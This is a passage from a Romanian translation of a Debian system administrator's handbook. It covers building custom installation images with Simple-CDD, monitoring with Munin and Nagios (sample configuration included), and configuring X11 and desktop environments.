• în sfârșit, fișierul .conf permite modificarea unor parametri Simple-CDD pe baza profilurilor pentru a
fi incluse într-o imagine.
Profilul default are un rol special, întrucât este întotdeauna selectat; acesta conține minimul necesar
pentru ca CD-ul simplu să funcționeze. Singurul lucru care este de obicei personalizat în acest profil este
parametrul presetat simple-cdd/profiles; acest lucru permite evitarea întrebării, introdusă de Simple-
CDD, despre ce profiluri trebuie instalate.
Rețineți, de asemenea, comenzile vor trebui invocate din directorul părinte al directorului profiles.

12.3.3.2. Configurarea și utilizarea build-simple-cdd

O PRIVIRE RAPIDĂ Un exemplu de fișier de configurare Simple-CDD, cu toți parametrii posibili, este inclus în pachet
Fișier de configurare detaliat (/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed.gz). Acesta poate fi
folosit ca punct de plecare atunci când se creează un fișier de configurare personalizat.

Simple-CDD cere mulți parametri pentru a funcționa complet. Cel mai adesea vor fi adunate într-un fișier de
configurare build-simple-cdd care poate fi indicat cu opțiunea --conf dar pot fi specificate și prin
intermediul parametrilor dedicați dați în build-simple-cdd. Iată o imagine de ansamblu asupra
comportamentului acestei comenzi și a modului în care sunt folosiți parametrii săi:
• parametrul profiles listează profilurile care vor fi incluse pe imaginea CD-ROM generată;

282
 • pe baza listei de pachete necesare, Simple-CDD descarcă fișierele corespunzătoare de pe server-ul
menționat în server și le adună într-o oglindă parțială (care va fi dată mai târziu la debian-cd);
• pachetele debian-cd personalizate menționate în local_packages sunt, de asemenea, integrate în
această oglindă locală;
• debian-cd este apoi executat (într-o locație implicită care poate fi configurată cu variabila
debian_cd_dir), cu lista pachetelor de integrat;
• odată ce debian-cd și-a pregătit directorul, Simple-CDD aplică câteva modificări acestui director:
– fișierele care conțin profilurile sunt adăugate într-un subdirector simple-cdd (care se va termina
pe CD-ROM);
– sunt adăugate și alte fișiere enumerate în parametrul all_extras;
– parametrii de pornire sunt reglați astfel încât să permită predeterminarea. Întrebările referitoare la
limbă și țară pot fi evitate dacă informațiile solicitate sunt stocate în variabilele language și
country.
• apoi debian-cd generează imaginea ISO finală.

12.3.3.3. Generarea unei imagini ISO

După ce am scris un fișier de configurare și am definit profilurile noastre, pasul rămas este să invocăm
build-simple-cdd --conf simple-cdd.conf. După câteva minute, obținem imaginea necesară în
images/debian-8.0-amd64-CD-1.iso.

12.4. Monitorizarea
Monitorizarea este un termen generic, iar diversele activități implicate au mai multe obiective: pe de o parte,
urmarea utilizării resurselor furnizate de o mașină permite anticiparea saturației și actualizările ulterioare
necesare; pe de altă parte, avertizarea administratorului de îndată ce un serviciu nu este disponibil sau nu
funcționează corect înseamnă că problemele care se întâmplă pot fi rezolvate mai devreme.
Munin acoperă prima zonă, prin afișarea graficelor grafice pentru valorile istorice ale unui număr de
parametri (RAM folosit, spațiu pe disc ocupat, încărcarea procesorului, traficul de rețea, încărcarea
Apache/MySQL ș.a.). Nagios acoperă a doua zonă, verificând în mod regulat dacă serviciile funcționează și
sunt disponibile și trimițând alerte prin canalele adecvate (e-mail-uri, mesaje text etc.). Ambele au un design
modular, ceea ce facilitează crearea de noi plugin-uri pentru a monitoriza parametrii sau serviciile specifice.

ALTERNATIVĂ Deși Munin și Nagios sunt foarte folosite împreună, nu sunt singurii jucători din câmpul de monitorizare și
Zabbix, instrument de fiecare dintre ei ocupă doar jumătate din sarcină (grafic pe o parte, alertă pe cealaltă). Zabbix, pe de altă parte,
monitorizare integrat integrează ambele părți ale monitorizării; de asemenea, are o interfață web pentru configurarea aspectelor cele
mai comune. S-a dezvoltat în pas cu pas în ultimii ani și poate fi considerat acum un concurent viabil. Pe server-
ul de monitorizare, ați putea instala zabbix-server-pgsql (sau zabbix-server-mysql), eventual împreună cu
zabbix-frontend-php pentru a avea o interfață web. Pe gazdele care urmează să monitorizeze, ar trebui să instalați
zabbix-agent pentru a readuce datele la server.
➨ http://www.zabbix.com/

ALTERNATIVĂ Stimulați de divergențe în opiniile privind modelul de dezvoltare pentru Nagios (care este controlat de o
Icinga, o furcare Nagios companie), o serie de dezvoltatori au furcat Nagios și folosesc Icinga (ca nou nume). Icinga este compatibilă —
până acum — cu configurațiile și plugin-urile Nagios, dar adaugă și funcții suplimentare.
➨ http://www.icinga.org/

12.4.1. Configurarea Munin

Scopul lui Munin este monitorizarea mai multor mașini; prin urmare, folosește în mod natural o arhitectură
client/server. Gazda centrală — grapher — colectează date de la toate gazdele monitorizate și generează
grafice istorice.

12.4.1.1. Configurarea gazdelor pentru monitorizare

Primul pas este instalarea pachetului munin-node. Demonul instalat de acest pachet ascultă portul 4949 și
trimite înapoi datele colectate de toate plugin-urile active. Fiecare plugin este un program simplu care

283
returnează o descriere a datelor colectate, precum și cea mai recentă valoare măsurată. Plugin-urile sunt
stocate în /usr/share/munin/plugins/, dar sunt utilizate doar cele cu legătură simbolică în
/etc/munin/plugins/.
Când pachetul este instalat, un set de plugin-uri active este determinat pe baza software-ului disponibil și
configurația curentă a gazdei. Totuși, această configurare automată depinde de o caracteristică pe care
trebuie să o ofere fiecare plugin și, de obicei, este o idee bună să revizuiți și să reglați rezultatele de mână.
Plugin Gallery17 poate fi interesantă, deși nu toate plugin-urile au documentație completă. Totuși, toate
pluginurile sunt scripturi, iar majoritatea sunt destul de simple și bine comentate. Prin urmare, navigarea pe /
etc/munin/plugins/ este un bun mod de a vă face o idee despre ce este vorba despre fiecare plugin și
de a determina care ar trebui eliminat. În mod similar, activarea unui plugin interesant găsit în /usr/share/
munin/plugins/ este o problemă simplă de a stabili o legătură simbolică cu ln -sf
/usr/share/munin/plugins/plugin /etc/munin/plugins/. Rețineți că, atunci când numele unui
plugin se termină cu un subliniere “_”, pluginul necesită un parametru. Acest parametru trebuie păstrat în
numele legăturii simbolice; de exemplu, pluginul “if_” trebuie activat cu o legătură simbolică if_eth0 și va
monitoriza traficul de rețea pe interfața eth0.
După ce toate pluginurile sunt configurate corect, configurația daemonului trebuie actualizată pentru a
descrie controlul de acces pentru datele colectate. Aceasta implică directive permite în fișierul
/etc/munin/munin-node.conf. Configurația implicită este allow ^127\.0\.0\.1$ și permite accesul
doar la gazda locală. De obicei, un administrator va adăuga o linie similară care conține adresa IP a gazdei
grapher, apoi va reporni daemon-ul cu systemctl restart munin-node.

ÎN DETALIU Munin include documentație detaliată despre modul în care trebuie să se comporte pluginurile și cum să dezvolte
Crearea de pluginuri locale noi pluginuri.
➨ http://guide.munin-monitoring.org/en/latest/plugin/writing.html
Un plugin este cel mai bine testat atunci când rulează în aceleași condiții ca și când ar fi declanșat de către nodul
munin; acest lucru poate fi simulat rulând ca root munin-run plugin. Un al doilea parametru potențial dat
acestei comenzi (cum ar fi config) este trecut la plugin ca
parametru.
Când un plugin este invocat cu parametrul config, acesta trebuie să se descrie prin întoarcerea unui set de
câmpuri:
$ sudo munin-run load config
graph_title Load average
graph_args --base 1000 -l 0
graph_vlabel load
graph_scale no
graph_category system
load.label load
graph_info The load average of the machine describes how
⮩ many processes are in the run-queue (scheduled to run
⮩ "immediately").
load.info 5 minute load average
Diferitele câmpuri disponibile sunt descrise de “Referința pluginului” disponibilă ca parte a “ghidului Munin”.
➨ http://munin.readthedocs.org/en/latest/reference/plugin.html
Când este invocat fără un parametru, pluginul returnează pur și simplu ultimele valori măsurate; de exemplu,
executând sudo munin-run load ar putea returna load.value 0.12.
În cele din urmă, când un plugin este invocat cu parametrul autoconf, acesta ar trebui să returneze “yes” (și 0
stare de ieșire) sau “no” (cu o stare de 1 ieșire) în funcție de când pluginul trebuie să fie activat pe această gazdă.

12.4.1.2. Configurarea Grapher

“Grapher” este chiar programul care agregă datele și generează graficele corespunzătoare. Software-ul
necesar se află în pachetul munin. Configurația standard rulează munin-cron (o dată la 5 minute), care
adună date de la toate gazdele enumerate în /etc/munin/munin.conf (doar gazda locală este listată
implicit), salvează datele istorice în fișiere RRD (Round Robin Database, un format de fișier conceput pentru a
stoca date care variază în timp) stocate sub /var/lib/munin/ și generează o pagină HTML cu graficele
din /var/cache/munin/www/.
Toate mașinile monitorizate trebuie de aceea să fie listate în fișierul de configurare
/etc/munin/munin.conf. Fiecare aparat este listat ca o secțiune completă, cu un nume care se
potrivește cu mașina și cel puțin o intrare address care oferă adresa IP corespunzătoare.

17http://gallery.munin-monitoring.org

284
[ftp.scoalagenerala.com]
address 192.168.0.12
use_node_name yes

Secțiunile pot fi mai complexe și descriu grafice suplimentare care ar putea fi create prin combinarea datelor
provenind de la mai multe mașini. Probele furnizate în fișierul de configurare sunt puncte de pornire bune
pentru personalizare.
Ultimul pas este publicarea paginilor generate; aceasta înseamnă configurarea unui web server astfel încât
conținutul /var/cache/munin/www/ să fie disponibil pe un sit web. Accesul la acest web site va fi adesea
restricționat, folosind fie un mecanism de autentificare, fie un control de acces bazat pe IP. Consultați
secțiunea 11.2. “Web server (HTTP)” pagina 229 pentru detaliile relevante.

12.4.2. Configurarea Nagios

Spre deosebire de Munin, Nagios nu cere instalarea a ceva pe gazdele monitorizate; de cele mai multe ori,
Nagios este utilizat pentru a verifica disponibilitatea serviciilor de rețea. De exemplu, Nagios se poate conecta
la un web server și poate verifica dacă o anumită pagină web poate fi obținută într-un anumit timp.

12.4.2.1. Instalarea
Primul pas în configurarea Nagios este instalarea pachetelor nagios4, monitoring-plugins. Instalarea pachetelor
configurează interfața web și Apache server. Modulele authz_groupfile și auth_digest Apache trebuie
activate, pentru acea executare:

# a2enmod authz_groupfile
Considering dependency authz_core for authz_groupfile:
Module authz_core already enabled
Enabling module authz_groupfile.
To activate the new configuration, you need to run:
systemctl restart apache2
# a2enmod auth_digest
Considering dependency authn_core for auth_digest:
Module authn_core already enabled
Enabling module auth_digest.
To activate the new configuration, you need to run:
systemctl restart apache2
# systemctl restart apache2

Adăugarea altor utilizatori este o problemă simplă de a le insera în fișierul

/etc/nagios4/hdigest.users.
Într-un browser, http://server/nagios4/ afișează interfața web; în special, rețineți că Nagios
monitorizează deja unii parametri ai mașinii unde rulează. Cu toate acestea, unele funcții interactive, cum ar
fi adăugarea de comentarii la o gazdă nu funcționează. Aceste caracteristici sunt dezactivate în configurația
implicită pentru Nagios, care este foarte restrictivă din motive de securitate.
Activarea unor caracteristici se face prin editarea fișierului /etc/nagios3/nagios.cfg. De asemenea,
trebuie să configuram permisiunile de scriere pentru directorul folosit de Nagios, prin următoarele asemenea
comenzi:

# systemctl stop nagios4

# dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios4/rw
# dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios4
# systemctl start nagios4

12.4.2.2. Configurarea
interfața Nagios web este destul de drăguță, dar nu permite configurarea și nici nu poate fi utilizată pentru a
adăuga gazde și servicii monitorizate. Întreaga configurație este gestionată prin intermediul fișierelor la care
se face referire în fișierul central de configurare, /etc/nagios3/nagios.cfg.
Aceste fișiere nu ar trebui să fie aprofundate fără o anumită înțelegere a conceptelor Nagios. Configurația
listează obiecte de următoarele tipuri:
• host , gazdă, este o mașină de monitorizat;

285
 • hostgroup , este un set de gazde care ar trebui grupate pentru afișare sau pentru factorizarea unor
elemente de configurare comune;
• service , serviciu, este un element testabil legat de o gazdă sau de un grup gazdă. Cel mai adesea
va fi o verificare a unui serviciu de rețea, dar poate implica și verificarea dacă anumiți parametri se
află într-un interval acceptabil (de exemplu, spațiu pe disc liber sau încărcarea procesorului);
• servicegroup este un set de servicii care ar trebui grupate pentru afișare;
• contact este o persoană care poate primi alerte;
• contactgroup este un set de astfel de contacte;
• timeperiod este un interval de timp în care anumite servicii trebuie verificate;
• command , este linia de comandă invocată pentru a verifica un serviciu dat.
În funcție de tipul său, fiecare obiect are o serie de proprietăți care pot fi personalizate. O listă completă ar fi
prea lungă pentru a fi inclusă, dar cele mai importante proprietăți sunt relațiile dintre obiecte.
Un serviciu folosește o comandă pentru a verifica starea unei caracteristici dintr-un host (sau un hostgroup) în
cadrul unei timeperiod. În caz unei probleme, Nagios trimite o alertă către toți membrii din contactgroup
conectați la serviciu. Fiecărui membru îi este trimisă alerta, în funcție de canalul descris în obiectul contact
care se potrivește.
Un sistem care se moștenește permite partajarea ușoară a unui set de proprietăți pe mai multe obiecte, fără
duplicarea informațiilor. Mai mult, configurația inițială include o serie de obiecte standard; în multe cazuri,
definirea de noi gazde, servicii și contacte este o simplă problemă care derivă din obiectele generice
furnizate. Fișierele din /etc/nagios3/conf.d/ sunt o sursă bună de informații despre modul în care
funcționează.
Administratorul Școlii Generale utilizează următoarea configurație:
Exemplul 12.3 Fișierul /etc/nagios3/conf.d/scoalagenerala.cfg

define contact{
name generic-contact
service_notification_period 24x7
host_notification_period 24x7
service_notification_options w,u,c,r
host_notification_options d,u,r
service_notification_commands notify-service-by-email
host_notification_commands notify-host-by-email
register 0 ; Template only
}
define contact{
use generic-contact
contact_name rusu
alias Cristi Rusu
email cristirusu@academixproject.com

define contactgroup{
contactgroup_name scoalagenerala-admins
alias Școala Generala Administrators
members rusu
}

define host{
use generic-host ; Name of host template to use
host_name www-host
alias www.scoalagenerala.com
address 192.168.0.5
contact_groups scoalagenerala-admins
hostgroups debian-servers,ssh-servers
}

define host{
use generic-host ; Name of host template to use
host_name ftp-host
alias ftp.scoalagenerala.com
address 192.168.0.6
contact_groups scoalagenerala-admins
hostgroups debian-servers,ssh-servers
}

# 'check_ftp' command with custom parameters

define command{
command_name check_ftp2
command_line /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c

286
 ⮩ 30 -t 35
}

# Generic Școala Generala service

define service{
name scoalagenerala-service
use generic-service
contact_groups scoalagenerala-admins
register 0
}

# Services to check on www-host

define service{
use scoalagenerala-service
host_name www-host
service_description HTTP
check_command check_http
}
define service{
use scoalagenerala-service
host_name www-host
service_description HTTPS
check_command check_https
}
define service{
use scoalagenerala-service
host_name www-host
service_description SMTP
check_command check_smtp
}

# Services to check on ftp-host

define service{
use scoalagenerala-service
host_name ftp-host
service_description FTP
check_command check_ftp2
}

Acest fișier de configurare descrie două gazde monitorizate. Primul este web server, iar verificările se fac pe
port 80 (HTTP) și 443 (secure-HTTP). Nagios verifică, de asemenea, că un SMTP server rulează pe port 25. Cea
de-a doua gazdă este FTP server, iar verificarea include asigurarea că un răspuns vine în termen de 20 de
secunde. Dincolo de această întârziere, este emisă o warning; peste 30 de secunde, alerta este considerată
critică. Interfața Nagios web arată, de asemenea, că SSH service este monitorizat: acesta vine de la gazdele
aparținând grupului gazdă ssh-servers. Serviciul standard corespunzător este definit în /etc/nagios4/
conf.d/services_nagios2.cfg.
Rețineți utilizarea moștenirii: un obiect este făcut pentru a moșteni de la un alt obiect “use parent-name”.
Obiectul părinte trebuie să fie identificabil, ceea ce necesită acordarea unei proprietăți “name identifier”. Dacă
obiectul părinte nu este menit să fie un obiect real, ci doar să servească drept părinte, oferindu-i o
proprietate “register 0” îi spune lui Nagios să nu-l ia în considerare și prin urmare, să ignore lipsa unor
parametri care altfel ar fi necesari.

DOCUMENTAȚIE O înțelegere mai aprofundată a diferitelor moduri prin care Nagios poate fi configurată poate fi obținută din
Lista proprietăților obiectului documentația furnizată de
https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/
index.html. Această documentație este accesibilă direct din interfața web, cu linkul “Documentare” în colțul
din stânga sus. Include o listă cu toate tipurile de obiecte, cu toate proprietățile pe care le pot avea. De asemenea,
explică modul de a crea noi pluginuri.

ÎN DETALIU Multe plugin-uri Nagios permit verificarea unor parametri locali pentru o gazdă; dacă multe mașini au nevoie de
Testele de la distanță cu NRPE aceste verificări în timp ce o instalare centrală le adună, trebuie să fie implementat pluginul NRPE (Nagios
Remote Plugin Executor). Pachetul nagios-nrpe-plugin trebuie instalat pe Nagios server și nagios-nrpe-server pe
gazdele unde testele locale trebuie să ruleze. Acesta din urmă își primește configurația din
/etc/nagios/nrpe.cfg. Acest fișier ar trebui să enumere testele care pot fi pornite de la distanță și
adresele IP ale mașinilor care pot fi declanșate. Pe partea Nagios, activarea acestor teste la distanță este o simplă
problemă de a adăuga servicii de potrivire folosind noua comandă check_nrpe.

287
288
 Repere

Stație de lucru
Afișaj grafic
Munca de birou
X.org

289
Capitolul 13

13. Stația de lucru

Conţinut
Configurare X11 server 291 Personalizarea interfeței grafice 292 Afișaje grafice 293 Email 296
Navigatoare web 297 Dezvoltarea 299 Munca în colaborare 299 Suitele Office 300
Emularea Windows: Wine 300 Software de comunicații în timp real 301

Acum, că implementările server-ului sunt terminate, administratorul se poate concentra pe instalarea stațiilor
de lucru individuale și crearea unei configurații tipice.

290
13.1. Configurare X11 server
Un scurt memento: X.org este componenta software care permite aplicațiilor grafice să afișeze ferestre pe
ecran. Include un driver care utilizează eficient placa video. Funcțiile oferite aplicațiilor grafice sunt exportate
printr-o interfață standard, X11 (Buster conține versiunea X11R7.7.

PERSPECTIVĂ X11 este sistemul grafic cel mai larg utilizat pe sistemele similare Unix (disponibil, pe lângă sistemul nativ,
X11, XFree86 și X.org pentru Windows și Mac OS). La modul strict, termenul “X11” se referă doar la o specificație de protocol, dar
este folosit și pentru a se referi la implementarea în practică.
X11 a avut un început dur însă anii 1990 au marcat apariția XFree86 ca implementare de referință ca software
liber, portabil și întreținut de o comunitate colaborativă. Cu toate acestea, rata evoluției a încetinit aproape de
sfârșit atunci când software-ul a beneficiat doar de drivere noi. Această situație, împreună cu o modificare foarte
controversată a licenței, au dus la furcarea lui X.org în 2004. Aceasta este acum implementarea de referință și
Debian Stretch folosește X.org versiunea 7.7.

Versiunile actuale ale X.org sunt capabile să autodetecteze hardware-ul disponibil: acest lucru se aplică plăcii
video și monitorului, precum și tastaturilor și șoarecilor; de fapt, este atât de convenabil că pachetul nu mai
creează nici măcar un fișier de configurare /etc/X11/xorg.conf.
Configurația tastaturii este în prezent configurată în /etc/default/keyboard. Acest fișier este utilizat
atât pentru configurarea consolei text cât și a interfeței grafice și este gestionat de pachetul keyboard-
configuration. Detalii despre configurarea aspectului tastaturii sunt disponibile în secțiunea 8.1.2. “Configurarea
tastaturii” pagina 136.
Pachetul xserver-xorg-core furnizează un generic X server, așa cum este folosit de versiunile 7.x ale X.org.
Acest server este modular și folosește un set de driver-e independente pentru a gestiona numeroasele tipuri
de plăci video. Instalarea xserver-xorg asigură instalarea atât a server-ului, cât și a cel puțin unui video driver.
Rețineți că, dacă placa video detectată nu este gestionată de niciunul dintre-ele disponibile, X.org încearcă
să utilizeze vesa driver și fbdev driver. VESA este un generic driver care ar trebui să funcționeze peste tot,
dar cu capacități limitate (mai puține rezoluții disponibile, fără accelerare hardware pentru jocuri și efecte
vizuale pentru desktop și așa mai departe), în timp ce fbdev funcționează în partea de sus a kernel
framebuffer dispozitivului. În prezent, X server rulează fără privilegii administrative (acest lucru era necesar
pentru a putea configura ecranul) și astfel fișierul său jurnal este acum stocat în directorul de acasă al
utilizatorului în ~/.local/share/xorg/Xorg.0.log (întrucât obișnuia să fie în /var/log/Xorg.0.log
pentru versiuni mai vechi decât Debian 9 Stretch). Fișierul jurnal este locul în care se pare că se știe ce
driver este în prezent în folosință. De exemplu, următorul fragment se potrivește cu rezultatul intel driver
când este încărcat:

(==) Matched intel as autoconfigured driver 0

(==) Matched modesetting as autoconfigured driver 1
(==) Matched vesa as autoconfigured driver 2
(==) Matched fbdev as autoconfigured driver 3
(==) Assigned the driver to the xf86ConfigLayout
(II) LoadModule: "intel"
(II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so

EXTRA Unii producători de plăci video (în special nVidia) refuză să publice specificațiile hardware care ar fi necesare
Drivere proprietare pentru a implementa drivere libere bune. Cu toate acestea, oferă drivere proprietare care permit utilizarea
hardware-ului. Această politică este nefastă, deoarece chiar și în cazul în care driverul este furnizat, de obicei nu
este atât de finisat cât ar trebui, nu respectă în mod necesar actualizările X.org, ceea ce poate împiedica cel mai
recent driver disponibil să se încarce corect (sau deloc). Nu putem scuza acest comportament și vă recomandăm
să evitați acești factori și să favorizați mai mulți producători cooperanți.
Dacă încă mai dețineți o astfel de placă, veți găsi pachetele necesare în secțiunea non-free: nvidia-glx pentru
plăcile nVidia, și fglrx-driver pentru unele carduri ATI. Ambele cazuri necesită module de kernel potrivite.
Construirea acestor module poate fi automatizată prin instalarea nvidia-kernel-dkms (pentru nVidia), sau fglrx-
modules-dkms (pentru ATI) pachete.
Proiectul “nouveau” își propune să dezvolte un software liber de driver pentru plăci nVidia. De la Stretch, setul
său de caracteristici nu se potrivește cu driverul proprietar. În apărarea dezvoltatorilor, trebuie să menționăm că
informațiile necesare pot fi adunate doar prin inginerie inversă, ceea ce îngreunează lucrurile. Driverul liber
pentru plăcile video ATI, numit “radeon”, este mult mai bun în această privință, deși necesită adesea un firmware
care nu este liber.

291
13.2. Personalizarea interfeței grafice
Interfața grafică oferă doar spațiu de afișare. Rulând X server de la sine, duce numai la un ecran gol, motiv
pentru care majoritatea instalațiilor folosesc un display manager pentru a afișa un ecran de autentificare a
utilizatorului și pentru a porni desktop-ul grafic odată ce utilizatorul s-a autentificat. Ca display manager, cele
mai populare trei utilizate în prezent sunt gdm3 (GNOME Display Manager), sddm (sugerat pentru KDE Plasma)
și lightdm (Light Display Manager). Deoarece administratorul Școlii Generale a ales să utilizeze mediul MATE
desktop, ei au ales în mod logic lightdm ca manager de afișare. Fișierul de configurare
/etc/lightdm/lightdm.conf are multe opțiuni pentru a controla comportamentul în timp ce
/etc/lightdm/lightdm-gtk-greeter.dconf conține setări pentru greeter “session” — întâmpinarea
“sesiunii” (mai mult decât o simplă fereastră de conectare, este un desktop limitat, cu instrumente de
gestionare a puterii și accesibilitate). Rețineți că unele dintre cele mai utile setări pentru utilizatorii finali pot fi
modificate cu centrul de control MATE.

13.2.2. Alegerea unui manager de ferestre

Deoarece fiecare desktop grafic își oferă propriul manager de ferestre, alegerea primului implică de obicei
selecții software de la cel de-al doilea. GNOME folosește fereastra mutter, Plasma folosește kwin, iar Xfce (pe
care îl prezentăm mai târziu) are xfwm. Filosofia Unix permite întotdeauna utilizarea propriului manager de
ferestre la alegere, dar respectarea recomandărilor permite unui administrator să profite cel mai bine de
eforturile de integrare conduse de fiecare proiect.

NOȚIUNI DE BAZĂ Fidel tradiției Unix de a face un singur lucru, dar bine, managerul de ferestre afișează “decorațiunile” din jurul
Manager de ferestre ferestrelor aparținând aplicațiilor care rulează în prezent, care include cadre și bara de titlu. Încă și reducerea,
restaurarea, maximizarea și ascunderea ferestrelor. Majoritatea managerilor de ferestre mai oferă un meniu care
apare atunci când faceți clic pe desktop într-un mod specific. Acest meniu oferă mijloacele de a închide sesiunea
managerului de ferestre, de a începe aplicații noi și, în unele cazuri, de a schimba un alt manager de ferestre
(dacă este instalat).

Cu toate acestea, computerele mai vechi pot avea dificultăți în utilizarea mediilor desktop grele. În aceste
cazuri, trebuie utilizată o configurație mai ușoară. Administratorii de ferestre “Light” (sau cu mică amprentă)
includ WindowMaker (în pachetul wmaker), Afterstep, fvwm, icewm, blackbox, fluxbox sau openbox. În aceste
cazuri, sistemul trebuie configurat astfel încât managerul de ferestre corespunzător să aibă prioritate;
modalitatea standard este de a modifica alternativa x-window-manager cu comanda update-
alternatives --config x-window-manager.

SPECIFICITATEA DEBIAN Politica Debian listează o serie de comenzi standardizate capabile să efectueze o anumită acțiune. De exemplu,
Alternative comanda x-window-manager invocă un manager de ferestre. Dar Debian nu atribuie această comandă unui
manager de ferestre fix. Administratorul poate alege ce manager ar trebui să invoce.
Prin urmare, pentru fiecare manager de ferestre, pachetul relevant înregistrează deci comanda corespunzătoare
ca o posibilă alegere pentru x-window-manager împreună cu o prioritate asociată. Cu excepția configurației
explicite a administratorului, această prioritate permite alegerea celui mai bun manager de ferestre instalat atunci
când este executată comanda generică.
Atât înregistrarea comenzilor, cât și configurația explicită implică scriptul actualizare-alternative. Alegerea către
care indică o comandă simbolică este o problemă simplă de a rula update-alternatives --config
symbolic-command. Scriptul update-alternatives creează (și menține) legături simbolice în
directorul /etc/alternatives/, care la rândul său face referire la locația executabilului. Pe măsură trecerii
timpului, pachetele sunt instalate sau eliminate, și/sau administratorul face modificări explicite la configurație.
Atunci când un pachet care furnizează o alternativă este eliminat, alternativa trece automat la următoarea cea
mai bună alegere dintre comenzile rămase posibile.
Nu toate comenzile simbolice sunt listate explicit de politica Debian; unii întreținători de pachete Debian au ales
în mod intenționat să utilizeze acest mecanism în cazuri mai puțin simple, în cazul în care încă aduce o
flexibilitate interesantă (exemple includ x-www-browser, www-browser, cc, c++, awk, ș.a.

13.2.3. Managementul meniului

Mediile desktop moderne și numeroși manageri de ferestre oferă meniuri care listează aplicațiile disponibile
pentru utilizator. Pentru a menține actualizate meniurile în raport cu setul real de aplicații disponibile, fiecare
pachet furnizează de obicei un fișier .desktop în /usr/share/applications. Formatul acestor fișiere a
fost standardizat de FreeDesktop.org:

292
➨ http://standards.freedesktop.org/desktop-entry-spec/latest/
Meniurile aplicațiilor pot fi personalizate suplimentar de către administratori prin intermediul fișierelor de
configurare la nivelul întregului sistem, așa cum este descris în “Specificația meniului desktop”. Utilizatorii finali
pot, de asemenea, personaliza meniurile cu instrumente grafice, cum ar fi kmenuedit (în Plasma), alacarte (în
GNOME) or menulibre.
➨ http://standards.freedesktop.org/menu-spec/latest/
ISTORIE Cronologic — cu mult înainte ca standardele FreeDesktop.org să apară — Debian a inventat propriul sistem de
Sistemul meniului Debian meniu în care fiecare pachet a furnizat o descriere generică a intrărilor de meniu dorite în
/usr/share/menu/. Acest instrument este încă disponibil în Debian (în pachetul meniu) dar este util doar
pentru că managerii de pachete sunt încurajați să se bazeze pe fișierele .desktop.

13.3. Afișaje grafice

Sfera desktop-urilor grafice libere este dominată de două mari colecții de software: GNOME și Plasma by KDE.
Ambele sunt foarte populare. Aceasta este mai degrabă un exemplu rar în lumea software-ului liber; spre
exemplu, Apache server aproape nu are egal;
Această diversitate are rădăcini în istorie. Plasma (inițial doar KDE, care este acum numele comunității) a
fost primul proiect grafic pentru desktop, dar a ales setul de instrumente grafic Qt și această alegere nu a fost
acceptată pentru un număr mare de dezvoltatori. Qt nu a fost software liber la acea vreme, iar GNOME a fost
pornit pe baza setului de instrumente GTK+. Qt a devenit software liber în acest timp, dar proiectele nu s-au
contopit și au evoluat în paralel.
Comunitățile MATE, GNOME și KDE totuși funcționează împreună sub umbrela FreeDesktop.org: proiectele
au colaborat la definirea standardelor de interoperabilitate între aplicații.
Alegerea “celui mai bun” desktop grafic este un subiect sensibil, pe care preferăm să îl evităm. Vom descrie
doar numeroasele posibilități și vom oferi câțiva indicatori pentru impresiile următoare. Cea mai bună alegere
va fi cea pe care o faceți după câteva experimentări.

13.3.1. MATE
Mediul MATE desktop, în curs de dezvoltare activă pentru a adăuga suport pentru noile tehnologii, este
continuarea GNOME 2.
Oferă un mediu desktop intuitiv și atractiv, păstrând în același timp o experiență tradițională pe desktop, tocmai
folosind elemente tradiționale pentru Linux și alte sisteme de operare similare Unix.
Aduce echilibrul între un consum redus de resurse și o interfață modernă și intuitivă, astfel încât distribuția
poate rula fără probleme pe calculatoare mai vechi existente în unitățile de învățământ.
De aceea, AcademiX a ales MATE ca interfață implicită.
➨ https://mate-desktop.org/

Figura 13.1 Afișajul MATE

293
13.3.2. GNOME
Debian Buster include versiunea GNOME 3.30, care poate fi instalată de un simplu apt-get install
gnome (poate fi instalată și selectând sarcina “Debian desktop environment”.

Figura 13.2 Afișajul GNOME

GNOME este notabil pentru eforturile sale de utilizare și accesibilitate. Profesioniștii în proiectare s-au
implicat în redactarea standardelor și recomandărilor. Acest lucru a ajutat dezvoltatorii să creeze interfețe
grafice de utilizator satisfăcătoare. De asemenea, proiectul primește încurajare de la marii jucători de pe
piața calculatoarelor, precum Intel, IBM, Oracle, Novell și desigur, diverse distribuții Linux. În cele din urmă,
multe limbaje de programare pot fi utilizate pentru dezvoltarea aplicațiilor pentru interfața GNOME.
Pentru administratori, GNOME pare să fie mai bine pregătit pentru implementări masive. Configurația
aplicației este gestionată prin interfața GSettings și stochează datele sale în baza de date DConf. Setările de
configurare pot fi astfel interogate și editate cu gsettings și dconf pentru instrumentele din linie de
comandă sau cu interfețele de utilizator grafice dconf-editor. Prin urmare, administratorul poate modifica
configurația utilizatorilor cu un script simplu. Următorul web site listează toate informațiile de interes pentru un
administrator însărcinat să administreze stațiile de lucru GNOME:
➨ https://help.gnome.org/admin/

13.3.3. KDE și Plasma

Debian Buster include versiunea 5.14 KDE Plasma, care poate fi instalată cu apt-get install kde-
standard.
Plasma a avut o evoluție rapidă bazată pe o abordare foarte practică. Autorii săi au obținut rapid rezultate
foarte bune, ceea ce le-a permis creșterea unei baze de utilizatori mari. Acești factori au contribuit la
calitatea generală a proiectului. Plasma este un mediu de desktop matur, cu o gamă largă de aplicații.

294
 Figura 13.3 Afișajul Plasma

Cu lansarea Qt 4.0 a fost rezolvată ultima problemă rămasă a KDE software, cea a licenței. Această versiune
a fost lansată sub GPL atât pentru Linux cât și pentru Windows (versiunea Windows a fost lansată anterior
sub licență non-free). Aplicațiile KDE sunt dezvoltate în principal folosind limbajul C++.

13.3.4. Xfce
Xfce este un desktop grafic simplu și ușor, care se potrivește perfect pentru calculatoarele cu resurse
limitate. Poate fi instalat cu apt-get install xfce4. Ca și GNOME, Xfce se bazează pe setul de
instrumente GTK+ și mai multe componente sunt comune pe ambele desktop-uri.
Spre deosebire de GNOME și Plasma, Xfce nu își propune să fie un proiect vast. Dincolo de componentele
de bază ale unui desktop modern (manager de fișiere, manager de ferestre, manager de sesiuni, un panou
pentru lansatoare de aplicații și așa mai departe), acesta oferă doar câteva aplicații specifice: un terminal, un
calendar (Orage), un vizualizator de imagini, un Instrument de inscripționarea a CD/DVD-urilor, un media
player (Parole), controlul volumului sunetului și un editor de text (mousepad).
➨ https://xfce.org/

Figura 13.4 Afișajul Xfce

